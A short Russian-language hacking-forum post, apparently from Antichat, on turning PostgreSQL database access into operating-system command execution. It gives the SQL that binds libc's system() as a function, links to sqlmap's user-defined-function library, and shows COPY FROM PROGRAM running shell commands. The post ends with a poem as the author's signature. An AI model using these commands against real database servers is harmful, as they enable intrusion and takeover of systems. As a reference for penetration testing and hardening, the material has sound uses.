21.05.2019, 13:17
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами:
10227206
Репутация:
2163
|
|
с версии 8.2 этот вектор больше не работает
Код:
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
Код:
ERROR: incompatible library "xxx.so": missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
можно собрать udf либу самому (обязательно компилить с той же версией pg!)
Код:
https://github.com/sqlmapproject/udfhack/blob/master/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c
у sqlmap-а есть готовые версии в репозитарии
Код:
https://github.com/sqlmapproject/sqlmap/tree/master/udf/postgresql/
но они косячные, не инсталятся, вот заметка на эту тему
Код:
http://www.jianfensec.com/postgresql_getshell.html
так же в версии 9.3 появился альтернативный доступ к башу
Код:
https://www.postgresql.org/docs/9.3/sql-copy.html
Код:
COPY table FROM PROGRAM 'id;uname -a'
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|
|
|